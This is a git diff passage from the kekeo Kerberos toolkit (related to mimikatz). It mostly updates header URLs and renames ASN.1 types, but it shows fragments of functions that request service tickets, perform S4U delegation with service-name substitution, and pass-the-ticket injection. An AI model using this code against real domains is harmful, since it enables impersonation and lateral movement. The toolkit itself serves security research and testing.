- SOCKADDR_IN clientAddr;
- PCSTR aRedirectHeader;
- PKUHL_M_SERVER_HTTP_CALLBACK UserCallback;
- PVOID UserData;
+typedef struct _KUHL_M_SERVER_HTTP_THREAD_DATA {
+ SOCKET clientSocket;
+ SOCKADDR_IN clientAddr;
+ PCSTR aRedirectHeader;
+ PKUHL_M_SERVER_HTTP_CALLBACK UserCallback;
+ PVOID UserData;
} KUHL_M_SERVER_HTTP_THREAD_DATA, *PKUHL_M_SERVER_HTTP_THREAD_DATA;
DWORD WINAPI kuhl_m_server_http_thread(IN LPVOID lpParameter);
diff --git a/kekeo/modules/kuhl_m_smb.c b/kekeo/modules/kuhl_m_smb.c
index 67cecdf..8e9d772 100644
--- a/kekeo/modules/kuhl_m_smb.c
+++ b/kekeo/modules/kuhl_m_smb.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/kekeo/modules/kuhl_m_smb.h b/kekeo/modules/kuhl_m_smb.h
index 11f0dfb..73a006e 100644
--- a/kekeo/modules/kuhl_m_smb.h
+++ b/kekeo/modules/kuhl_m_smb.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/kekeo/modules/kuhl_m_standard.c b/kekeo/modules/kuhl_m_standard.c
index 24a779e..74b1d68 100644
--- a/kekeo/modules/kuhl_m_standard.c
+++ b/kekeo/modules/kuhl_m_standard.c
@@ -1,149 +1,149 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : https://creativecommons.org/licenses/by/4.0/
-*/
-#include "kuhl_m_standard.h"
-
-const KUHL_M_C kuhl_m_c_standard[] = {
- //{kuhl_m_standard_test, L"test", L"Test routine (you don\'t want to see this !)"},
- {kuhl_m_standard_exit, L"exit", L"Quit mimikatz"},
- {kuhl_m_standard_cls, L"cls", L"Clear screen (doesn\'t work with redirections, like PsExec)"},
- {kuhl_m_standard_answer, L"answer", L"Answer to the Ultimate Question of Life, the Universe, and Everything"},
- {kuhl_m_standard_coffee, L"coffee", L"Please, make me a coffee!"},
- {kuhl_m_standard_sleep, L"sleep", L"Sleep an amount of milliseconds"},
- {kuhl_m_standard_log, L"log", L"Log mimikatz input/output to file"},
- {kuhl_m_standard_base64, L"base64", L"Switch file input/output base64"},
- {kuhl_m_standard_version, L"version", L"Display some version informations"},
- {kuhl_m_standard_cd, L"cd", L"Change or display current directory"},
- {kuhl_m_standard_localtime, L"localtime", L"Displays system local date and time (OJ command)"},
-};
-const KUHL_M kuhl_m_standard = {
- L"standard", L"Standard module", L"Basic commands (does not require module name)",
- ARRAYSIZE(kuhl_m_c_standard), kuhl_m_c_standard, NULL, NULL
-};
-/*
-NTSTATUS kuhl_m_standard_test(int argc, wchar_t * argv[])
-{
- return STATUS_SUCCESS;
-}
-*/
-NTSTATUS kuhl_m_standard_exit(int argc, wchar_t * argv[])
-{
- kprintf(L"Bye!\n");
- return STATUS_FATAL_APP_EXIT;
-}
-
-NTSTATUS kuhl_m_standard_cls(int argc, wchar_t * argv[])
-{
- HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
- COORD coord = {0, 0};
- DWORD count;
- CONSOLE_SCREEN_BUFFER_INFO csbi;
-
- GetConsoleScreenBufferInfo(hStdOut, &csbi);
- FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count);
- SetConsoleCursorPosition(hStdOut, coord);
- return STATUS_SUCCESS;
-}
-
-NTSTATUS kuhl_m_standard_answer(int argc, wchar_t * argv[])
-{
- kprintf(L"42.\n");
- return STATUS_SUCCESS;
-}
-
-NTSTATUS kuhl_m_standard_coffee(int argc, wchar_t * argv[])
-{
- kprintf(L"\n ( (\n ) )\n .______.\n | |]\n \\ /\n `----'\n");
- return STATUS_SUCCESS;
-}
-
-NTSTATUS kuhl_m_standard_sleep(int argc, wchar_t * argv[])
-{
- DWORD dwMilliseconds = argc ? wcstoul(argv[0], NULL, 0) : 1000;
- kprintf(L"Sleep : %u ms... ", dwMilliseconds);
- Sleep(dwMilliseconds);
- kprintf(L"End !\n");
- return STATUS_SUCCESS;
-}
-
-NTSTATUS kuhl_m_standard_log(int argc, wchar_t * argv[])
-{
- PCWCHAR filename = (kull_m_string_args_byName(argc, argv, L"stop", NULL, NULL) ? NULL : (argc ? argv[0] : MIMIKATZ_DEFAULT_LOG));
- kprintf(L"Using \'%s\' for logfile : %s\n", filename, kull_m_output_file(filename) ? L"OK" : L"KO");
- return STATUS_SUCCESS;
-}
-
-NTSTATUS kuhl_m_standard_base64(int argc, wchar_t * argv[])
-{
- if(!kull_m_string_args_bool_byName(argc, argv, L"in", &isBase64InterceptInput))
- kull_m_string_args_bool_byName(argc, argv, L"input", &isBase64InterceptInput);
-
- if(!kull_m_string_args_bool_byName(argc, argv, L"out", &isBase64InterceptOutput))
- kull_m_string_args_bool_byName(argc, argv, L"output", &isBase64InterceptOutput);
-
- kprintf(L"isBase64InterceptInput is %s\nisBase64InterceptOutput is %s\n", isBase64InterceptInput ? L"true" : L"false", isBase64InterceptOutput ? L"true" : L"false");
- return STATUS_SUCCESS;
-}
-
-NTSTATUS kuhl_m_standard_version(int argc, wchar_t * argv[])
-{
- BOOL isWow64;
- #ifdef _M_X64
- isWow64 = TRUE;
- #else
- if(IsWow64Process(GetCurrentProcess(), &isWow64))
- #endif
- {
- kprintf(
- L"\n" MIMIKATZ L" " MIMIKATZ_VERSION L" (arch " MIMIKATZ_ARCH L")\n"
- L"Windows NT %u.%u build %u (arch x%s)\n"
- L"msvc %u %u\n",
- MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NUMBER, isWow64 ? L"64" : L"86", _MSC_FULL_VER, _MSC_BUILD
- );
- }
- return STATUS_SUCCESS;
-}
-
-NTSTATUS kuhl_m_standard_cd(int argc, wchar_t * argv[])
-{
- wchar_t * buffer;
- if(kull_m_file_getCurrentDirectory(&buffer))
- {
- if(argc)
- kprintf(L"Cur: ");
- kprintf(L"%s\n", buffer);
- LocalFree(buffer);
- }
- else PRINT_ERROR_AUTO(L"kull_m_file_getCurrentDirectory");
-
- if(argc)
- {
- if(SetCurrentDirectory(argv[0]))
- {
- if(kull_m_file_getCurrentDirectory(&buffer))
- {
- kprintf(L"New: %s\n", buffer);
- LocalFree(buffer);
- }
- else PRINT_ERROR_AUTO(L"kull_m_file_getCurrentDirectory");
- }
- else PRINT_ERROR_AUTO(L"SetCurrentDirectory");
- }
- return STATUS_SUCCESS;
-}
-
-NTSTATUS kuhl_m_standard_localtime(int argc, wchar_t * argv[])
-{
- FILETIME ft;
- TIME_ZONE_INFORMATION tzi;
- DWORD dwTzi;
- GetSystemTimeAsFileTime(&ft);
- dwTzi = GetTimeZoneInformation(&tzi);
- kprintf(L"Local: "); kull_m_string_displayLocalFileTime(&ft); kprintf(L"\n");
- if(dwTzi != TIME_ZONE_ID_INVALID && dwTzi != TIME_ZONE_ID_UNKNOWN)
- kprintf(L"Zone : %.32s\n", (dwTzi == TIME_ZONE_ID_STANDARD) ? tzi.StandardName : tzi.DaylightName);
- kprintf(L"UTC : "); kull_m_string_displayFileTime(&ft); kprintf(L"\n");
- return STATUS_SUCCESS;
+/* Benjamin DELPY `gentilkiwi`
+ https://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#include "kuhl_m_standard.h"
+
+const KUHL_M_C kuhl_m_c_standard[] = {
+ //{kuhl_m_standard_test, L"test", L"Test routine (you don\'t want to see this !)"},
+ {kuhl_m_standard_exit, L"exit", L"Quit mimikatz"},
+ {kuhl_m_standard_cls, L"cls", L"Clear screen (doesn\'t work with redirections, like PsExec)"},
+ {kuhl_m_standard_answer, L"answer", L"Answer to the Ultimate Question of Life, the Universe, and Everything"},
+ {kuhl_m_standard_coffee, L"coffee", L"Please, make me a coffee!"},
+ {kuhl_m_standard_sleep, L"sleep", L"Sleep an amount of milliseconds"},
+ {kuhl_m_standard_log, L"log", L"Log mimikatz input/output to file"},
+ {kuhl_m_standard_base64, L"base64", L"Switch file input/output base64"},
+ {kuhl_m_standard_version, L"version", L"Display some version informations"},
+ {kuhl_m_standard_cd, L"cd", L"Change or display current directory"},
+ {kuhl_m_standard_localtime, L"localtime", L"Displays system local date and time (OJ command)"},
+};
+const KUHL_M kuhl_m_standard = {
+ L"standard", L"Standard module", L"Basic commands (does not require module name)",
+ ARRAYSIZE(kuhl_m_c_standard), kuhl_m_c_standard, NULL, NULL
+};
+/*
+NTSTATUS kuhl_m_standard_test(int argc, wchar_t * argv[])
+{
+ return STATUS_SUCCESS;
+}
+*/
+NTSTATUS kuhl_m_standard_exit(int argc, wchar_t * argv[])
+{
+ kprintf(L"Bye!\n");
+ return argc ? STATUS_THREAD_IS_TERMINATING : STATUS_PROCESS_IS_TERMINATING;
+}
+
+NTSTATUS kuhl_m_standard_cls(int argc, wchar_t * argv[])
+{
+ HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
+ COORD coord = {0, 0};
+ DWORD count;
+ CONSOLE_SCREEN_BUFFER_INFO csbi;
+
+ GetConsoleScreenBufferInfo(hStdOut, &csbi);
+ FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count);
+ SetConsoleCursorPosition(hStdOut, coord);
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_standard_answer(int argc, wchar_t * argv[])
+{
+ kprintf(L"42.\n");
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_standard_coffee(int argc, wchar_t * argv[])
+{
+ kprintf(L"\n ( (\n ) )\n .______.\n | |]\n \\ /\n `----'\n");
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_standard_sleep(int argc, wchar_t * argv[])
+{
+ DWORD dwMilliseconds = argc ? wcstoul(argv[0], NULL, 0) : 1000;
+ kprintf(L"Sleep : %u ms... ", dwMilliseconds);
+ Sleep(dwMilliseconds);
+ kprintf(L"End !\n");
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_standard_log(int argc, wchar_t * argv[])
+{
+ PCWCHAR filename = (kull_m_string_args_byName(argc, argv, L"stop", NULL, NULL) ? NULL : (argc ? argv[0] : MIMIKATZ_DEFAULT_LOG));
+ kprintf(L"Using \'%s\' for logfile : %s\n", filename, kull_m_output_file(filename) ? L"OK" : L"KO");
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_standard_base64(int argc, wchar_t * argv[])
+{
+ if(!kull_m_string_args_bool_byName(argc, argv, L"in", &isBase64InterceptInput))
+ kull_m_string_args_bool_byName(argc, argv, L"input", &isBase64InterceptInput);
+
+ if(!kull_m_string_args_bool_byName(argc, argv, L"out", &isBase64InterceptOutput))
+ kull_m_string_args_bool_byName(argc, argv, L"output", &isBase64InterceptOutput);
+
+ kprintf(L"isBase64InterceptInput is %s\nisBase64InterceptOutput is %s\n", isBase64InterceptInput ? L"true" : L"false", isBase64InterceptOutput ? L"true" : L"false");
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_standard_version(int argc, wchar_t * argv[])
+{
+ BOOL isWow64;
+ #ifdef _M_X64
+ isWow64 = TRUE;
+ #else
+ if(IsWow64Process(GetCurrentProcess(), &isWow64))
+ #endif
+ {
+ kprintf(
+ L"\n" MIMIKATZ L" " MIMIKATZ_VERSION L" (arch " MIMIKATZ_ARCH L")\n"
+ L"Windows NT %u.%u build %u (arch x%s)\n"
+ L"msvc %u %u\n",
+ MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NUMBER, isWow64 ? L"64" : L"86", _MSC_FULL_VER, _MSC_BUILD
+ );
+ }
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_standard_cd(int argc, wchar_t * argv[])
+{
+ wchar_t * buffer;
+ if(kull_m_file_getCurrentDirectory(&buffer))
+ {
+ if(argc)
+ kprintf(L"Cur: ");
+ kprintf(L"%s\n", buffer);
+ LocalFree(buffer);
+ }
+ else PRINT_ERROR_AUTO(L"kull_m_file_getCurrentDirectory");
+
+ if(argc)
+ {
+ if(SetCurrentDirectory(argv[0]))
+ {
+ if(kull_m_file_getCurrentDirectory(&buffer))
+ {
+ kprintf(L"New: %s\n", buffer);
+ LocalFree(buffer);
+ }
+ else PRINT_ERROR_AUTO(L"kull_m_file_getCurrentDirectory");
+ }
+ else PRINT_ERROR_AUTO(L"SetCurrentDirectory");
+ }
+ return STATUS_SUCCESS;
+}
+
+NTSTATUS kuhl_m_standard_localtime(int argc, wchar_t * argv[])
+{
+ FILETIME ft;
+ TIME_ZONE_INFORMATION tzi;
+ DWORD dwTzi;
+ GetSystemTimeAsFileTime(&ft);
+ dwTzi = GetTimeZoneInformation(&tzi);
+ kprintf(L"Local: "); kull_m_string_displayLocalFileTime(&ft); kprintf(L"\n");
+ if(dwTzi != TIME_ZONE_ID_INVALID && dwTzi != TIME_ZONE_ID_UNKNOWN)
+ kprintf(L"Zone : %.32s\n", (dwTzi == TIME_ZONE_ID_STANDARD) ? tzi.StandardName : tzi.DaylightName);
+ kprintf(L"UTC : "); kull_m_string_displayFileTime(&ft); kprintf(L"\n");
+ return STATUS_SUCCESS;
}
\ No newline at end of file
diff --git a/kekeo/modules/kuhl_m_standard.h b/kekeo/modules/kuhl_m_standard.h
index 7df64ac..7beb10e 100644
--- a/kekeo/modules/kuhl_m_standard.h
+++ b/kekeo/modules/kuhl_m_standard.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/kekeo/modules/kuhl_m_tgs.c b/kekeo/modules/kuhl_m_tgs.c
index a13c48e..927ba7d 100644
--- a/kekeo/modules/kuhl_m_tgs.c
+++ b/kekeo/modules/kuhl_m_tgs.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -20,14 +20,14 @@ NTSTATUS kuhl_m_tgs_ask(int argc, wchar_t * argv[])
PCWSTR szData;
PKULL_M_SOCK socket;
OssBuf TgsReq = {0, NULL};
- KRB_CRED *KrbCred = NULL, *AddKrbCred = NULL;
- EncKrbCredPart *encKrbCred = NULL, *AddEncKrbCred = NULL;
- TGS_REP *TgsRep = NULL;
- EncKDCRepPart *encTgsRepPart = NULL;
+ KULL_M_ASN1_KRB_CRED *KrbCred = NULL, *AddKrbCred = NULL;
+ KULL_M_ASN1_EncKrbCredPart *encKrbCred = NULL, *AddEncKrbCred = NULL;
+ KULL_M_ASN1_TGS_REP *TgsRep = NULL;
+ KULL_M_ASN1_EncKDCRepPart *encTgsRepPart = NULL;
PWSTR domain, dupService, nextSetToken, SetToken;
- PrincipalName pService;
+ KULL_M_ASN1_PrincipalName pService;
PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK callback = NULL;
- Realm realm;
+ KULL_M_ASN1_Realm realm;
if(kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL))
callback = kuhl_m_kerberos_ptt_data;
@@ -59,16 +59,16 @@ NTSTATUS kuhl_m_tgs_ask(int argc, wchar_t * argv[])
if(realm)
kprintf(L" @ %S", realm);
kprintf(L"\n");
- if(kull_m_kerberos_asn1_TgsReq_build(&TgsReq, (encKrbCred->ticket_info->value.bit_mask & pname_present) ? &encKrbCred->ticket_info->value.pname : NULL, KrbCred->tickets->value.realm, &pService, realm, AddKrbCred ? (KERB_KDCOPTION_standard | KERB_KDCOPTION_request_anonymous) : 0, &KrbCred->tickets->value, &encKrbCred->ticket_info->value.key, AddKrbCred ? &AddKrbCred->tickets->value : NULL, NULL, NULL))
+ if(kull_m_kerberos_asn1_TgsReq_build(&TgsReq, (encKrbCred->ticket_info->value.bit_mask & KULL_M_ASN1_pname_present) ? &encKrbCred->ticket_info->value.pname : NULL, KrbCred->tickets->value.realm, &pService, realm, AddKrbCred ? (KERB_KDCOPTION_standard | KERB_KDCOPTION_request_anonymous) : 0, &KrbCred->tickets->value, &encKrbCred->ticket_info->value.key, AddKrbCred ? &AddKrbCred->tickets->value : NULL, NULL, NULL))
{
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRep, TGS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRep, KULL_M_ASN1_TGS_REP_PDU))
{
- if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep, &encKrbCred->ticket_info->value.key, EncTGSRepPart_PDU, &encTgsRepPart))
+ if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep, &encKrbCred->ticket_info->value.key, KULL_M_ASN1_EncTGSRepPart_PDU, &encTgsRepPart))
{
kull_m_kerberos_asn1_KdcRep_save(TgsRep, encTgsRepPart, NULL, NULL, callback);
- ossFreePDU(&kull_m_kerberos_asn1_world, EncTGSRepPart_PDU, encTgsRepPart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncTGSRepPart_PDU, encTgsRepPart);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, TgsRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, TgsRep);
}
ossFreeBuf(&kull_m_kerberos_asn1_world, TgsReq.value);
}
@@ -83,13 +83,13 @@ NTSTATUS kuhl_m_tgs_ask(int argc, wchar_t * argv[])
kull_m_kerberos_asn1_net_AddressSocket_delete(socket);
}
if(AddEncKrbCred)
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, AddEncKrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, AddEncKrbCred);
if(AddKrbCred)
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, AddKrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, AddKrbCred);
LocalFree(domain);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encKrbCred);
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, KrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encKrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, KrbCred);
}
}
else PRINT_ERROR(L"A TGT is needed ( /tgt:filename.kirbi )\n");
@@ -101,15 +101,15 @@ NTSTATUS kuhl_m_tgs_s4u(int argc, wchar_t * argv[])
PCWSTR szData;
PKULL_M_SOCK socket;
OssBuf TgsReq = {0, NULL}, TgsReq2 = {0, NULL};
- KRB_CRED *KrbCred = NULL;
- EncKrbCredPart *encKrbCred = NULL;
- TGS_REP *TgsRep = NULL, *TgsRep2 = NULL;
- EncKDCRepPart *encTgsRepPart = NULL, *encTgsRepPart2 = NULL;
+ KULL_M_ASN1_KRB_CRED *KrbCred = NULL;
+ KULL_M_ASN1_EncKrbCredPart *encKrbCred = NULL;
+ KULL_M_ASN1_TGS_REP *TgsRep = NULL, *TgsRep2 = NULL;
+ KULL_M_ASN1_EncKDCRepPart *encTgsRepPart = NULL, *encTgsRepPart2 = NULL;
PWSTR domain, dupService, nextSetToken, SetToken, separator;
- PrincipalName pUser, pService, pAltService, tmp, tmp2;
- PA_DATA PaForUser = {0};
+ KULL_M_ASN1_PrincipalName pUser, pService, pAltService, tmp, tmp2;
+ KULL_M_ASN1_PA_DATA PaForUser = {0};
BOOL pacWanted = kull_m_string_args_byName(argc, argv, L"pac", NULL, NULL);
- _octet1 pac;
+ KULL_M_ASN1__octet1 pac;
PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK callback = NULL;
if(kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL))
@@ -133,12 +133,12 @@ NTSTATUS kuhl_m_tgs_s4u(int argc, wchar_t * argv[])
{
if(socket = kull_m_kerberos_asn1_net_AddressSocket_create(domain, KERBEROS_DEFAULT_PORT, argc, argv, TRUE))
{
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRep, TGS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRep, KULL_M_ASN1_TGS_REP_PDU))
{
- if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep, &encKrbCred->ticket_info->value.key, EncTGSRepPart_PDU, &encTgsRepPart))
+ if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep, &encKrbCred->ticket_info->value.key, KULL_M_ASN1_EncTGSRepPart_PDU, &encTgsRepPart))
{
kull_m_kerberos_asn1_KdcRep_save(TgsRep, encTgsRepPart, NULL, NULL, callback);
- ossFreePDU(&kull_m_kerberos_asn1_world, EncTGSRepPart_PDU, encTgsRepPart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncTGSRepPart_PDU, encTgsRepPart);
}
if(pacWanted)
{
@@ -179,9 +179,9 @@ NTSTATUS kuhl_m_tgs_s4u(int argc, wchar_t * argv[])
if(kull_m_kerberos_asn1_TgsReq_build(&TgsReq2, &encKrbCred->ticket_info->value.pname, KrbCred->tickets->value.realm, &pService, NULL, KERB_KDCOPTION_standard | KERB_KDCOPTION_request_anonymous, &KrbCred->tickets->value, &encKrbCred->ticket_info->value.key, &TgsRep->ticket, NULL, NULL))
{
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq2, (LPVOID *) &TgsRep2, TGS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq2, (LPVOID *) &TgsRep2, KULL_M_ASN1_TGS_REP_PDU))
{
- if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep2, &encKrbCred->ticket_info->value.key, EncTGSRepPart_PDU, &encTgsRepPart2))
+ if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep2, &encKrbCred->ticket_info->value.key, KULL_M_ASN1_EncTGSRepPart_PDU, &encTgsRepPart2))
{
if(separator)
{
@@ -196,9 +196,9 @@ NTSTATUS kuhl_m_tgs_s4u(int argc, wchar_t * argv[])
TgsRep2->ticket.sname = tmp;
encTgsRepPart2->sname = tmp2;
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncTGSRepPart_PDU, encTgsRepPart2);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncTGSRepPart_PDU, encTgsRepPart2);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, TgsRep2);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, TgsRep2);
}
ossFreeBuf(&kull_m_kerberos_asn1_world, TgsReq2.value);
}
@@ -210,7 +210,7 @@ NTSTATUS kuhl_m_tgs_s4u(int argc, wchar_t * argv[])
free(dupService);
}
}
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, TgsRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, TgsRep);
}
kull_m_kerberos_asn1_net_AddressSocket_delete(socket);
}
@@ -223,8 +223,8 @@ NTSTATUS kuhl_m_tgs_s4u(int argc, wchar_t * argv[])
else PRINT_ERROR(L"A user/account is needed ( /user:username )\n");
LocalFree(domain);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encKrbCred);
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, KrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encKrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, KrbCred);
}
}
else PRINT_ERROR(L"A TGT is needed ( /tgt:filename.kirbi )\n");
@@ -236,11 +236,11 @@ NTSTATUS kuhl_m_tgs_renew(int argc, wchar_t * argv[])
PCWSTR szData;
PKULL_M_SOCK socket;
OssBuf TgsReq = {0, NULL};
- KRB_CRED *KrbCred = NULL;
- EncKrbCredPart *encKrbCred = NULL;
+ KULL_M_ASN1_KRB_CRED *KrbCred = NULL;
+ KULL_M_ASN1_EncKrbCredPart *encKrbCred = NULL;
PWSTR domain;
- TGS_REP *TgsRep = NULL;
- EncKDCRepPart *encTgsRepPart = NULL;
+ KULL_M_ASN1_TGS_REP *TgsRep = NULL;
+ KULL_M_ASN1_EncKDCRepPart *encTgsRepPart = NULL;
PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK callback = NULL;
if(kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL))
@@ -256,14 +256,14 @@ NTSTATUS kuhl_m_tgs_renew(int argc, wchar_t * argv[])
{
if(socket = kull_m_kerberos_asn1_net_AddressSocket_create(domain, KERBEROS_DEFAULT_PORT, argc, argv, TRUE))
{
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRep, TGS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRep, KULL_M_ASN1_TGS_REP_PDU))
{
- if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep, &encKrbCred->ticket_info->value.key, EncTGSRepPart_PDU, &encTgsRepPart))
+ if(kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(TgsRep, &encKrbCred->ticket_info->value.key, KULL_M_ASN1_EncTGSRepPart_PDU, &encTgsRepPart))
{
kull_m_kerberos_asn1_KdcRep_save(TgsRep, encTgsRepPart, NULL, L"(renew)", callback);
- ossFreePDU(&kull_m_kerberos_asn1_world, EncTGSRepPart_PDU, encTgsRepPart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncTGSRepPart_PDU, encTgsRepPart);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, TgsRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, TgsRep);
}
kull_m_kerberos_asn1_net_AddressSocket_delete(socket);
}
@@ -271,8 +271,8 @@ NTSTATUS kuhl_m_tgs_renew(int argc, wchar_t * argv[])
}
LocalFree(domain);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encKrbCred);
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, KrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encKrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, KrbCred);
}
}
else PRINT_ERROR(L"A ticket is needed ( /ticket|tgt|tgs:filename.kirbi )\n");
diff --git a/kekeo/modules/kuhl_m_tgs.h b/kekeo/modules/kuhl_m_tgs.h
index 62e1e87..217c554 100644
--- a/kekeo/modules/kuhl_m_tgs.h
+++ b/kekeo/modules/kuhl_m_tgs.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/kekeo/modules/kuhl_m_tgt.c b/kekeo/modules/kuhl_m_tgt.c
index 8ca37b9..fd9b30c 100644
--- a/kekeo/modules/kuhl_m_tgt.c
+++ b/kekeo/modules/kuhl_m_tgt.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -21,8 +21,8 @@ NTSTATUS kuhl_m_tgt_ask(int argc, wchar_t * argv[])
{
PKIWI_AUTH_INFOS infos;
PKULL_M_SOCK socket;
- AS_REP *AsRep = NULL;
- EncKDCRepPart *encAsRepPart = NULL;
+ KULL_M_ASN1_AS_REP *AsRep = NULL;
+ KULL_M_ASN1_EncKDCRepPart *encAsRepPart = NULL;
PKULL_M_KERBEROS_ASN1_SAVEKDCREP_CALLBACK callback = NULL;
if(kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL))
@@ -34,8 +34,8 @@ NTSTATUS kuhl_m_tgt_ask(int argc, wchar_t * argv[])
if(kull_m_kerberos_asn1_AsReqAsRep(infos, socket, NULL, NULL, &AsRep, &encAsRepPart, NULL))
{
kull_m_kerberos_asn1_KdcRep_save(AsRep, encAsRepPart, NULL, NULL, callback);
- ossFreePDU(&kull_m_kerberos_asn1_world, EncASRepPart_PDU, encAsRepPart);
- ossFreePDU(&kull_m_kerberos_asn1_world, AS_REP_PDU, AsRep);
